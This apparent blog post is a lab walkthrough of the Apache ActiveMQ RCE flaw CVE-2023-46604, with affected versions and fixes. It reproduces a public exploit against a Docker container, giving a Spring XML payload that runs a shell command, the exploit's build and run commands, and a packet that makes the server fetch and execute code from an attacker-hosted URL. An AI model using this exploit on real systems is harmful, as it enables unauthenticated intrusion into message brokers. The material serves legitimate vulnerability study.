CVE-2023-46604: ActiveMQ Critical RCE
CVE-2023-46604 is a critical vulnerability (CVSS 9.8) in Apache ActiveMQ that gives remote, unauthenticated attackers code execution on the machine, with the same privileges as the MQ server.
In this post, we’ll spin up a vulnerable Docker image from Symptoma and use X1r0’z PoC for the exploitation.
The post is based on X1r0z’s README.md, Apache MQ’s updates, and Rapid7’s technical analysis of the vulnerability.
Summary
ActiveMQ is a message broker, developed in Java, which passes messages between different services. By default, it listens on port 61616 and accepts several protocols, including OpenWire which is the vector for this attack.
There’s an error in the exception handling process whereby a remote attacker can supply a string which is used to instantiate an arbitrary class. The attacker can use a Spring config package to induce the server to download a malicious .xml
config file from the attacker’s server, which runs the commands within the file.
Detection & Remediation
The impacted versions are:
- Apache ActiveMQ 5.18.0 before 5.18.3
- Apache ActiveMQ 5.17.0 before 5.17.6
- Apache ActiveMQ 5.16.0 before 5.16.7
- Apache ActiveMQ before 5.15.16
- Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
- Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
- Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
- Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16
To remediate, upgrade to:
5.15.16, 5.16.7, 5.17.6, or 5.18.3
Source. Check current related advisories for up to date info.
Exploitation
Setup
First, we will set up the vulnerable server. You’ll need Docker Desktop, GOlang and git installed. I am running on Ubuntu 23.04 x86_64
with 6.2.0-36-generic
.
- Grab a vulnerable ActiveMQ docker image:
docker pull symptoma/activemq:5.15.10
- Run it:
docker run -it -p 61616:61616 -p 8161:8161 --network host symptoma/activemq:5.15.10
We’re exposing the required ports and sharing the host’s network to allow the container to call our local server with the malicious XML.
- Clone the PoC
git clone https://github.com/X1r0z/ActiveMQ-RCE && cd ActiveMQ-RCE/
Let’s take a look at the poc.xml
file:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>open</value>
<value>-a</value>
<value>calculator</value>
<!-- <value>bash</value>
<value>-c</value>
<value>touch /tmp/success</value> -->
</list>
</constructor-arg>
</bean>
</beans>
We see that in the <value>
tags, we’re popping a calc by running the command open -a calculator
. This won’t do for our dockerized version, so let’s delete those lines and uncomment the three lines that make up bash -c touch /tmp/success
.
This will create a file on the server in /tmp
called success
to prove RCE.
Our docker container doesn’t have bash
installed, so let’s change bash
to sh
. Your file should look like this:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>sh</value>
<value>-c</value>
<value>touch /tmp/success</value>
</list>
</constructor-arg>
</bean>
</beans>
-
Edit the XML as described above.
-
Build the exploit:
go build
You should now find the executable ActiveMQ-RCE
in the same folder:
$ ls
ActiveMQ-RCE main.go README-en.md
go.mod poc.xml README.md
- Set up the malicious server. In a new terminal, from the same folder, run:
python3 -m http.server 8000
- Run the exploit with
./ActiveMQ-RCE -i 127.0.0.1 -u http://<YOUR_SERVER_IP>:8000/poc.xml
You should see output like the following:
$ ./ActiveMQ-RCE -i 127.0.0.1 -u http://192.168.10.101:8000/poc.xml
_ _ _ __ __ ___ ____ ____ _____
/ \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____|
/ _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _|
/ ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___
/_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____|
[*] Target: 127.0.0.1:61616
[*] XML URL: http://192.168.10.101:8000/poc.xml
[*] Sending packet: 000000751f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010022687474703a2f2f3139322e3136382e31302e3130313a383030302f706f632e786d6c
The -i
flag points the exploit to your dockerized ActiveMQ listening on 127.0.0.1
(at the default port, so we don’t need to specify it) and the -u
flag points the vulnerable server to your malicious HTTP server hosting the POC.
The ‘packet’ listed in the above output is just a hexified OpenWire object. You can see how they’re constructed on the OpenWire specification page.
Let’s take a peek at what this packet is doing. You can decode it with xxd
:
$ echo 000000751f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010022687474703a2f2f3139322e3136382e31302e3130313a383030302f706f632e786d6c | xxd -r -p
uBorg.springframework.context.support.ClassPathXmlApplicationContext"http://192.168.10.101:8000/poc.xml%
or inspect the OpenWire stream in WireShark:
We see that it’s calling Spring’s ClassPathXmlApplicationContext. This class allows configuration via an XML file. Right next to it, we see a string containing our malicious server address and XML file.
Once run, you should see a GET
request on your server. Let’s check to see if the exploit ran correctly!
- Get the docker container name:
$ docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
327937e9ea8a symptoma/activemq:5.15.10 "/bin/sh -c 'bin/act…" About an hour ago Up About an hour bold_satoshi
- Use the
CONTAINER ID
value to get an interactive shell on the container:
$ docker exec -it 327937e9ea8a sh
/opt/apache-activemq-5.15.10 $
- Check for the
success
file:
$ ls -a /tmp | grep success
success
We see our file was created and the exploit ran successfully.
Thanks for reading. For feedback, corrections or omissions, get in touch!